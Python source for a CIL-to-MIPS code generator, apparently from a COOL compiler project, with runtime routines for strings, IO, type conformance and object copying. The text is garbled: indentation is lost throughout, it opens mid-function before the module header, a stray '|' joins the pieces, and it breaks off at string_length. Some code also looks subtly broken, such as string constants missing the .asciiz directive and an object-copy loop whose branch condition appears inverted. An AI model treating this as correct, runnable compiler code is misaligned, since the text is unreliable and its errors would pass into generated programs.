self.write_file('lw $t1 12($t1)')
self.write_file('lw $t2 12($a2)')
self.write_file('lw $t2 12($t2)')
self.write_file('addu $t0 $t2 $t1')
self.write_file('sw $t0 12($v1)')
self.write_file('lw $a1 16($a1)')
self.write_file('lw $a2 16($a2)')
self.write_file('addiu $t0 $t0 1')
self.allocate_memory('$t0', register=True)
self.write_file('move $t5 $v0')
self.write_file('move $t4 $a1')
self.write_file('addu $a1 $a1 $t1')
self.write_file('_strcat_copy_:', tabbed=False)
self.write_file('beq $t4 $a1 _end_strcat_copy_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_')
self.write_file('_end_strcat_copy_:', tabbed=False)
self.write_file('move $t4 $a2')
self.write_file('addu $a2 $a2 $t2')
self.write_file('_strcat_copy_snd_:', tabbed=False)
self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_snd_')
self.write_file('_end_strcat_copy_snd_:', tabbed=False)
self.write_file('sb $0 0($t5)')
self.write_file('sw $v1 12($t3)')
self.write_file('sw $v0 16($t3)')
self.write_file('move $v0 $t3')
self.write_file('jr $ra')
self.write_file('')
def string_substr(self):
self.write_file('function_String_substr:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file(f'lw $t5 12($fp)')
self.write_file(f'lw $a1 16($fp)')
self.write_file(f'lw $a1 12($a1)')
self.write_file(f'lw $a2 20($fp)')
self.write_file(f'lw $a2 12($a2)')
self.write_file(f'blt $a1 $0 _index_negative')
self.write_file(f'blt $a2 $0 _index_negative')
self.write_file(f'add $a2 $a1 $a2')
self.write_file(f'lw $a3 12($t5)')
self.write_file(f'lw $a3 12($a3)')
self.write_file(f'bgt $a2 $a3 _index_out')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file(f'move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file(f'move $t0 $v0')
self.write_file(f'move $t7 $a2')
self.write_file(f'subu $t7 $t7 $a1')
self.write_file(f'sw $t7 12($t0)')
self.allocate_memory('$a2', register=True)
self.write_file(f'sw $t0 12($v1)')
self.write_file(f'sw $v0 16($v1)')
self.write_file('move $t1 $v0')
self.write_file('lw $t5 16($t5)')
self.write_file('move $t4 $t5')
self.write_file('addu $t4 $t4 $a1')
self.write_file('addu $t5 $t5 $a2')
self.write_file('_substr_copy_:', tabbed=False)
self.write_file('bge $t4 $t5 _end_substr_copy_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t1)')
self.write_file('addiu $t1 $t1 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _substr_copy_')
self.write_file(f'_index_negative:', tabbed=False)
self.write_file(f'la $a0 _index_negative_msg')
self.write_file(f'b _subst_abort')
self.write_file(f'_index_out:', tabbed=False)
self.write_file(f'la $a0 _index_out_msg')
self.write_file(f'b _subst_abort')
self.write_file(f'_subst_abort:', tabbed=False)
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file('la\t$a0 _abort_msg')
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file(f'li $v0 10')
self.write_file(f'syscall')
self.write_file('_end_substr_copy_:', tabbed=False)
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
def io_in_int(self):
self.write_file('function_IO_in_int:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('move $t0 $v0')
self.write_file('li $v0 5')
self.write_file('syscall')
self.write_file('sw $v0 12($t0)')
self.write_file('move $v0 $t0')
self.write_file('jr $ra')
self.write_file('')
def io_in_string(self):
self.write_file('function_IO_in_string:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('sw $v1 12($v0)')
self.write_file('move $t5 $v0')
self.write_file('la $a0 str_buffer')
self.write_file('li $a1 1025')
self.write_file('li $v0 8')
self.write_file('syscall')
self.write_file('move $a0 $0')
self.write_file('la $t2 str_buffer')
self.write_file('_in_string_str_len_:', tabbed=False)
self.write_file('lb $t0 0($t2)')
self.write_file('beq $t0 $0 _end_in_string_str_len_')
self.write_file('beq $t0 10 _end_in_string_str_len_')
self.write_file('addiu $a0 $a0 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _in_string_str_len_')
self.write_file('_end_in_string_str_len_:', tabbed=False)
self.write_file('sw $a0 12($v1)')
self.allocate_memory()
self.write_file('la $t4 str_buffer')
self.write_file('move $t1 $v0')
self.write_file('_in_str_copy_:', tabbed=False)
self.write_file('lb $t0 0($t4)')
self.write_file('beq $t0 $0 _end_in_str_copy_')
self.write_file('beq $t0 10 _end_in_str_copy_')
self.write_file('sb $t0 0($t1)')
self.write_file('addiu $t4 $t4 1')
self.write_file('addiu $t1 $t1 1')
self.write_file('j _in_str_copy_')
self.write_file('_end_in_str_copy_:', tabbed=False)
self.write_file('sw $v0 16($t5)')
self.write_file('la $t4 str_buffer')
self.write_file('_in_str_clean_:', tabbed=False)
self.write_file('lb $t0 0($t4)')
self.write_file('beq $t0 $0 _end_in_str_clean_')
self.write_file('sb $0 0($t4)')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _in_str_clean_')
self.write_file('_end_in_str_clean_:', tabbed=False)
self.write_file('move $v0 $t5')
self.write_file('jr $ra')
self.write_file('')
def io_out_int(self):
self.write_file('function_IO_out_int:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)')
self.write_file('lw $a0 12($a0)')
self.write_file('li $v0 1')
self.write_file('syscall')
self.write_file('lw $v0 12($fp)')
self.write_file('jr $ra')
self.write_file('')
def io_out_string(self):
self.write_file('function_IO_out_string:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)')
self.write_file('lw $a0 16($a0)')
self.write_file('li $v0 4')
self.write_file('syscall')
self.write_file('lw $v0 12($fp)')
self.write_file('jr $ra')
self.write_file('')
def conforms(self):
self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file(f'lw $t0 12($fp)')
self.write_file(f'lw $t1 16($fp)')
self.write_file(
f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'
)
self.write_file('_conforms_loop_:', tabbed=False)
self.write_file('beq $t0 $t1 _conforms_ret_true_')
self.write_file(
f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'
)
self.write_file('mulu $t0 $t0 4')
self.write_file('addu $t0 $t0 $s2')
self.write_file('lw $t0 0($t0)')
self.write_file('j _conforms_loop_')
self.write_file('_conforms_ret_true_:', tabbed=False)
self.write_file('li $v0 1')
self.write_file('j _conforms_ret_')
self.write_file('_conforms_ret_false_:', tabbed=False)
self.write_file('li $v0 0')
self.write_file('_conforms_ret_:')
self.write_file('jr $ra')
self.write_file('')
def isvoid(self):
self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))
self.write_file(f'lw $t0 12($fp)')
self.write_file(f'la $t1 {VOID_MIPS_NAME}')
self.write_file(f'beq $t0 $t1 _is_void_true_')
self.write_file(f'sw $0 12($v0)')
self.write_file(f'j _is_void_end_')
self.write_file(f'_is_void_true_:', tabbed=False)
self.write_file(f'li $t0 1')
self.write_file(f'sw $t0 12($v0)')
self.write_file(f'_is_void_end_:', tabbed=False)
self.write_file(f'jr $ra')
self.write_file(f'')
|
"""
Registers $v0 and $v1 are used to return values from functions.
Registers $t0 – $t9 are caller-saved registers that are used to
hold temporary quantities that need not be preserved across calls
Registers $s0 – $s7 (16–23) are callee-saved registers that hold long-lived
values that should be preserved across calls. They are preserved across calls
Register $gp is a global pointer that points to the middle of a 64K block
of memory in the static data segment. Preserve across calls
Register $fp is the frame pointer. Register $fp is saved by every procedure
that allocates a new stack frame.Preserve across calls
Register $sp is the stack pointer, which points to the last location on
the stack(Points to Free Memory). Preserve across calls
Register $ra only needs to be saved if the callee itself makes a call.
Register $s0 <- Prototypes table
Register $s1 <- Class Names table
Register $s2 <- Class parents table
0($fp): some local variable
4(%fp): old $ra
8(%fp): old $fp
12(%fp): 1st argument Self
.....
Class Name table layout
offset 0 - "Class1"
offset 4 - "Class2"
offset 8 - "Class3"
.....
Prototypes Table layout
offset 0 - protObj1
offset 4 - Obj1_init
offset 8 - protObj2
offset 12 - Obj2_init
.....
Dispatch Table layout:
offset 0 - addres of method m0
offset 1 - addres of method m1
.....
Prototype layout:
offset 0 - Class tag : int that identifies the class of the object
offset 4 - Object size :(in 32-bit words) = 12 + 4 * (number of attributes)
offset 8 - Dispatch pointer : pointer to the table of virtual methods
offset 12. . . Attributes
"""
import sys
sys.path.append('..')
import commons.cil_ast as cil
import commons.visitor as visitor
from commons.settings import *
class MipsVisitor:
"""
Mips Visitor Class.
This visitor will process the AST of the generated CIL and write the mips code to a file.
"""
def __init__(self, inherit_graph, output_file="mips_code.mips"):
self.inherit_graph, _ = inherit_graph
self.offset = dict()
self.type_index = []
self.dispatchtable_code = []
self.prototypes_code = []
self.cur_labels_id = 0
self.output_file = output_file
# ======================================================================
# =[ UTILS ]============================================================
# ======================================================================
def push(self):
self.write_file('sw $a0 0($sp)')
self.write_file('addiu $sp $sp -4')
def pop(self, dest=None):
self.write_file(f'addiu $sp $sp 4')
def write_file(self, msg, mode = "a", tabbed=True):
f = open(self.output_file, mode)
f.write("{}{}\n".format("\t" if tabbed else "", msg))
f.close()
def allocate_memory(self, size=None, register=False):
if register:
self.write_file('move $a0 {}'.format(size))
else:
if size:
self.write_file('li $a0 {}'.format(size))
self.write_file('li $v0 9')
self.write_file('syscall')
def new_labels_id(self):
self.cur_labels_id += 1
return self.cur_labels_id
# ======================================================================
@visitor.on('node')
def visit(self, node):
pass
################################ PROGRAM #####################################
@visitor.when(cil.Program)
def visit(self, node: cil.Program):
self.write_file('', "w")
#-------------------- DATA SECTION ----------------------------
self.write_file('.data', tabbed = False)
# Declare static data
self.static_datas()
# Transpile CIL data section
for data in node.data_section:
self.visit(data)
self.write_file('')
# Declare class name strings and map class index
for i in range(len(node.type_section)):
self.type_index.append(node.type_section[i].type_name)
self.write_file('classname_{}: .asciiz \"{}\"'.format(node.type_section[i].type_name,node.type_section[i].type_name))
# Declare void type
self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')
#-------------------- TEXT SECTION ----------------------------
self.write_file('\n.text')
self.entry()
self.write_file('\n########## STATIC FUNCTIONS ##########\n')
# CONFORMS
self.conforms()
# IS_VOID
self.isvoid()
# OBJECT
self.object_abort()
self.object_copy()
self.object_typename()
# STRING
self.string_length()
self.string_concat()
self.string_substr()
# IO
self.io_in_int()
self.io_in_string()
self.io_out_int()
self.io_out_string()
for t in node.type_section:
self.visit(t)
self.write_file('\n############## TABLES ################\n')
# Generate method that creates classes's name table
self.write_file('function_build_class_name_table:', tabbed=False)
self.allocate_memory(len(node.type_section) * 4)
self.write_file('move $s1 $v0') # save the address of the table in a register
for i in range(len(node.type_section)):
self.write_file('la $t1 classname_{}'.format(node.type_section[i].type_name))
self.write_file('sw $t1 {}($s1)'.format(4 * i))
self.write_file('')
# Generate method that allocates memory for prototypes table
self.write_file('function_allocate_prototypes_table:', tabbed=False)
self.allocate_memory(8 * len(self.type_index))
self.write_file('move $s0 $v0') # save the address of the table in a register
self.write_file('')
# Generate mips method that builds prototypes
self.write_file('function_build_prototypes:', tabbed=False)
for ins in self.prototypes_code:
self.write_file(ins)
self.write_file('')
# Generate mips method that builds dispatch tables
self.write_file('function_build_dispatch_tables:', tabbed=False)
for ins in self.dispatchtable_code:
self.write_file(ins)
self.write_file('')
# Generate method that builds class parents table
self.write_file('function_build_class_parents_table:', tabbed=False)
self.allocate_memory(4 * len(self.type_index))
self.write_file('move $s2 $v0') # save the address of the table in a register
self.write_file('')
# Fill table entry for each class type
for parent in self.inherit_graph.keys():
p_index = self.type_index.index(parent)
for child in self.inherit_graph[parent]:
ch_index = self.type_index.index(child.name)
self.write_file(f'li $t0 {ch_index}')
self.write_file(f'mul $t0 $t0 4')
self.write_file(f'add $t0 $t0 $s2')
self.write_file(f'li $t1 {p_index}')
self.write_file(f'sw $t1 0($t0)')
self.write_file('')
self.write_file('')
# Generate COOL functions
self.write_file('\n########### COOL FUNCTIONS ##########\n')
for func in node.code_section:
is_built_in = False
if not INIT_CIL_SUFFIX in func.name:
is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in func.name] != []
if not is_built_in:
self.visit(func)
self.write_file('\n#####################################\n')
################################ .DATA #######################################
@visitor.when(cil.Data)
def visit(self, node: cil.Data):
self.write_file(f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')
################################ TYPES #######################################
@visitor.when(cil.Type)
def visit(self, node: cil.Type):
# Allocate
self.dispatchtable_code.append(f'# Type {node.type_name}')
self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.methods)))
self.dispatchtable_code.append('li $v0 9')
self.dispatchtable_code.append('syscall')
# Add dispatch table code
for i in range(len(node.methods)):
self.dispatchtable_code.append('la $t1 function_{}'.format(node.methods[i].function_name))
self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))
self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.type_index.index(node.type_name)))
self.dispatchtable_code.append('sw $v0 8($t0)')
self.dispatchtable_code.append('')
# Allocate
self.prototypes_code.append(f'# Type {node.type_name}')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes)))
self.prototypes_code.append('li $v0 9')
self.prototypes_code.append('syscall')
# Add prototype code
class_index = self.type_index.index(node.type_name)
self.prototypes_code.append('li $a0 {}'.format(class_index))
self.prototypes_code.append('sw $a0 0($v0)')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes)))
self.prototypes_code.append('sw $a0 4($v0)')
self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))
self.prototypes_code.append('')
@visitor.when(cil.Function)
def visit(self, node: cil.Function):
self.write_file(f'function_{node.name}:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')
# Register arguments offsets
for i in range(len(node.args)):
self.offset[node.args[i].name] = 12 + i * 4
# Register locals offsets
for i in range(len(node.vlocals)):
self.offset[node.vlocals[i].name] = i * (-4)
# Generate mips code for the function's body
for inst in node.body:
# Equal node needs unique id for its labels
if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):
inst.id = self.new_labels_id()
self.visit(inst)
# Pop the stack frame
self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')
# Return
self.write_file('jr $ra')
self.write_file('')
############################## ASSIGNMENT ####################################
@visitor.when(cil.Assign)
def visit(self, node: cil.Assign):
self.write_file('# ASSIGN')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
############################# ARITHMETICS ####################################
@visitor.when(cil.Plus)
def visit(self, node: cil.Plus):
self.write_file('# +')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('add $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Minus)
def visit(self, node: cil.Minus):
self.write_file('# -')
if isinstance(node.left, int):
self.write_file('li $a0 {}'.format(node.left))
else:
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('sub $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Mult)
def visit(self, node: cil.Mult):
self.write_file('# *')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('mul $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Div)
def visit(self, node: cil.Div):
self.write_file('# /')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file(f'beqz $a1 _div_error_{node.id}_')
self.write_file('div $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'b _div_end_{node.id}_')
self.write_file(f'_div_error_{node.id}_:',tabbed=False)
self.write_file('la $a0 _div_zero_msg')
self.write_file('li $v0 4')
self.write_file('syscall')
self.write_file('la $a0 _abort_msg')
self.write_file('li $v0 4')
self.write_file('syscall')
self.write_file('li $v0 10')
self.write_file('syscall')
self.write_file(f'_div_end_{node.id}_:',tabbed=False)
############################# COMPARISONS ####################################
@visitor.when(cil.Equal)
def visit(self, node: cil.Equal):
self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))
self.write_file(f'beq $t0 $zero _eq_false_{node.id}_') # $t0 can't also be void
self.write_file(f'beq $t1 $zero _eq_false_{node.id}_') # $t1 can't also be void
self.write_file('lw $a0 0($t0)') # get object 1 tag
self.write_file('lw $a1 0($t1)') # get object 2 tag
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') # compare tags
self.write_file('li $a2 {}'.format(self.type_index.index(INTEGER_CLASS))) # load int tag
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') # Integers
self.write_file('li $a2 {}'.format(self.type_index.index(BOOLEAN_CLASS))) # load bool tag
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') # Booleans
self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))) # load string tag
self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_') # Not a primitive type
# equal strings
# verify len of the strings
self.write_file(f'_eq_str_{node.id}_:', tabbed = False) # handle strings
self.write_file('lw $t3 12($t0)') # get string_1 size
self.write_file('lw $t3 12($t3)') # unbox string_1 size
self.write_file('lw $t4, 12($t1)') # get string_2 size
self.write_file('lw $t4, 12($t4)') # unbox string_2 size
self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_') # string size are distinct
self.write_file(f'beq $t3 $0 _eq_true_{node.id}_') # if strings are empty
# Verify ascii secuences
self.write_file('addu $t0 $t0 16') # Point to start of string s1
self.write_file('lw $t0 0($t0)')
self.write_file('addu $t1 $t1 16') # Point to start of string s2
self.write_file('lw $t1 0($t1)')
self.write_file('move $t2 $t3') # Keep string length as counter
self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed = False)
self.write_file('lb $a0 0($t0)') # get char of s1
self.write_file('lb $a1 0($t1)') # get char of s2
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') # char s1 /= char s2
self.write_file('addu $t0 $t0 1')
self.write_file('addu $t1 $t1 1')
self.write_file('addiu $t2 $t2 -1') # Decrement counter
self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_') # end of strings
self.write_file(f'_not_basic_type_{node.id}_:', tabbed = False)
self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_')
# equal int or boolf
self.write_file(f'_eq_int_bool_{node.id}:', tabbed = False) # handles booleans and ints
self.write_file('lw $a3 12($t0)') # load value variable_1
self.write_file('lw $t4 12($t1)') # load variable_2
self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_') # value of int or bool are distinct
#return true
self.write_file(f'_eq_true_{node.id}_:', tabbed = False)
self.write_file('li $a0 1')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'b end_equal_{node.id}_')
#return false
self.write_file(f'_eq_false_{node.id}_:', tabbed = False)
self.write_file('li $a0 0')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'end_equal_{node.id}_:', tabbed = False)
@visitor.when(cil.LessThan)
def visit(self, node: cil.LessThan):
self.write_file('# <')
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))
self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.EqualOrLessThan)
def visit(self, node: cil.EqualOrLessThan):
self.write_file('# <=')
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))
self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
############################## ATTRIBUTES ####################################
@visitor.when(cil.GetAttrib)
def visit(self, node: cil.GetAttrib):
self.write_file('# GETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.SetAttrib)
def visit(self, node: cil.SetAttrib):
self.write_file('# SETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
if isinstance(node.src, int):
self.write_file(f'li $a0, {node.src}')
elif node.src[:5] == "data_":
self.write_file(f'la $a0, {node.src}')
else:
self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')
self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file('')
################################ MEMORY ######################################
@visitor.when(cil.TypeOf)
def visit(self, node: cil.TypeOf):
self.write_file('# TYPEOF')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 0($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.Allocate)
def visit(self, node: cil.Allocate):
self.write_file('# ALLOCATE')
if node.ttype == VOID_TYPE:
self.write_file(f'la $v0 {VOID_MIPS_NAME}')
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
else:
offset_proto = self.type_index.index(node.ttype) * 8
self.write_file('lw $t0 {}($s0)'.format(offset_proto))
self.write_file('sw $t0, 0($sp)')
self.write_file('addiu $sp, $sp, -4')
self.write_file('')
self.visit(cil.Call(dest = node.dest, f = "Object_copy"))
self.write_file('addiu $sp, $sp, 4')
self.write_file('')
########################## DISPATCH STATEMENTS ###############################
@visitor.when(cil.Call)
def visit(self, node: cil.Call):
self.write_file('# CALL')
# Save return address and frame pointer
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
# Call the function
self.write_file(f'jal function_{node.f}')
# Restore return address and frame pointer
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
if node.dest:
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.VCall)
def visit(self, node: cil.VCall):
self.write_file('# VCALL')
# Save return address and frame pointer
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
if node.ttype[0] == "_":
# If node.type is a local CIL variable
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
else:
# If node.type a type name
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
self.write_file(f'mulu $a2, $a2, 8')
self.write_file(f'addu $a2, $a2, $s0')
self.write_file(f'lw $a1, 0($a2)')
# Check the dispatch table for the method's address
self.write_file(f'lw $a2, 8($a1)')
self.write_file(f'lw $a0 {node.f * 4}($a2)')
# Call the function at 0($a0)
self.write_file(f'jalr $a0')
# Restore return address and frame pointer
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
# Save value after restoring $fp
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
# Check prototypes table for the dynamic type
if node.ttype[0] != '_':
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
else:
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
self.write_file('')
@visitor.when(cil.PushParam)
def visit(self, node: cil.PushParam):
self.write_file('# PUSHPARAM')
if node.name[0] != "_":
self.write_file('li $a0, {}'.format(self.type_index.index(node.name)))
else:
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))
self.push()
self.write_file('')
@visitor.when(cil.PopParam)
def visit(self, node: cil.PopParam):
self.write_file('# POPPARAM')
self.pop(node.name)
self.write_file('')
@visitor.when(cil.Return)
def visit(self, node: cil.Return):
self.write_file('# RETURN')
self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))
################################# JUMPS ######################################
@visitor.when(cil.Label)
def visit(self, node: cil.Label):
self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)
@visitor.when(cil.Goto)
def visit(self, node: cil.Goto):
self.write_file('# GOTO')
self.write_file('j _cil_label_{}'.format(node.label))
self.write_file('')
@visitor.when(cil.IfGoto)
def visit(self, node: cil.IfGoto):
self.write_file('# IF GOTO')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))
self.write_file('bnez $a0, _cil_label_{}'.format(node.label))
self.write_file('')
############################## STATIC CODE ###################################
#----- STATIC DATAs
def static_datas(self):
# Buffer for reading strings
self.write_file('str_buffer: .space 1025')
self.write_file('')
# Declare error mensages
self.write_file('_index_negative_msg: .asciiz \"Index to substr is negative\\n\"')
self.write_file('_index_out_msg: .asciiz \"Index out range exception\\n\"')
self.write_file('_abort_msg: \"Execution aborted\\n\"')
self.write_file('_div_zero_msg: \"Division by zero exception\\n\"')
self.write_file('')
#----- ENTRY FUNCTION
def entry(self):
self.write_file('entry:', tabbed=False)
self.visit(cil.Call(dest = None, f = 'build_class_name_table'))
self.visit(cil.Call(dest = None, f = 'allocate_prototypes_table'))
self.visit(cil.Call(dest = None, f = 'build_prototypes'))
self.visit(cil.Call(dest = None, f = 'build_dispatch_tables'))
self.visit(cil.Call(dest = None, f = 'build_class_parents_table'))
self.visit(cil.Allocate(dest = None, ttype = 'Main'))
# Push main self
self.write_file('sw $v0 0($sp)')
self.write_file('addiu $sp $sp -4')
self.visit(cil.Call(dest = None, f = f'Main_{INIT_CIL_SUFFIX}'))
self.write_file('addiu $sp $sp 4')
# Push main self
self.write_file('sw $v0 0($sp)')
self.write_file('addiu $sp $sp -4')
self.visit(cil.Call(dest = None, f = 'Main_main'))
self.write_file('addiu $sp $sp 4')
self.write_file('li $v0 10')
self.write_file('syscall')
#----- OBJECT METHODS
def object_abort(self):
self.write_file('function_Object_abort:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file('jr $ra')
self.write_file('')
def object_copy(self):
self.write_file('function_Object_copy:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
self.write_file('lw $t0 12($fp)')# recoger la instancia a copiar
self.write_file('lw $a0 4($t0)')
self.write_file('move $t4 $a0')
self.write_file('li $v0 9')
self.write_file('syscall')# guarda en v0 la direccion de memoria que se reservo
self.write_file('move $t2 $v0')# salvar la direccion donde comienza el objeto
self.write_file('li $t3 0') # size ya copiado
self.write_file('_objcopy_loop:', tabbed=False)
self.write_file('lw $t1 0($t0)') # cargar la palabra por la que voy
self.write_file('sw $t1 0($v0)') # copiar la palabra
self.write_file('addiu $t0 $t0 4') # posiciona el puntero en la proxima palabra a copiar
self.write_file('addiu $v0 $v0 4') # posiciona el puntero en la direccion donde copiar la proxima palabra
self.write_file('addiu $t3 $t3 4') # actualizar el size copiado
self.write_file('ble $t4 $t3 _objcopy_loop') # verificar si la condicion es igual o menor igual
self.write_file('_objcopy_div_end_:', tabbed=False)
self.write_file('move $v0 $t2') # dejar en v0 la direccion donde empieza el nuevo objeto
self.write_file('jr $ra')
self.write_file('')
def object_typename(self):
self.write_file('function_Object_type_name:', tabbed=False)
# Set up stack frame
self.write_file(f'move $fp, $sp')
# Box the string reference
self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object
self.write_file('move $v1 $v0')
# Box string's length
self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS) ) # Create new Int object
self.write_file('lw $a1 12($fp)') # self
self.write_file('lw $a1 0($a1)')
self.write_file('mulu $a1 $a1 4') # self's class tag
self.write_file('addu $a1 $a1 $s1') # class name table entry address
self.write_file('lw $a1 0($a1)') # Get class name address
self.write_file('move $a2 $0') # Compute string's length
self.write_file('move $t2 $a1')
self.write_file('_str_len_clsname_:', tabbed=False)
self.write_file('lb $a0 0($t2)')
self.write_file('beq $a0 $0 _end_clsname_len_')
self.write_file('addiu $a2 $a2 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _str_len_clsname_')
self.write_file('_end_clsname_len_:', tabbed=False)
self.write_file('sw $a2, 12($v0)') # Store string's length
self.write_file('sw $v0, 12($v1)') # Fill String attributes
self.write_file('sw $a1, 16($v1)')
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
#----- STRING METHODS
def string_length(self):
self.write_file('function_String_length:', tabbed=False)
# Set up stack frame
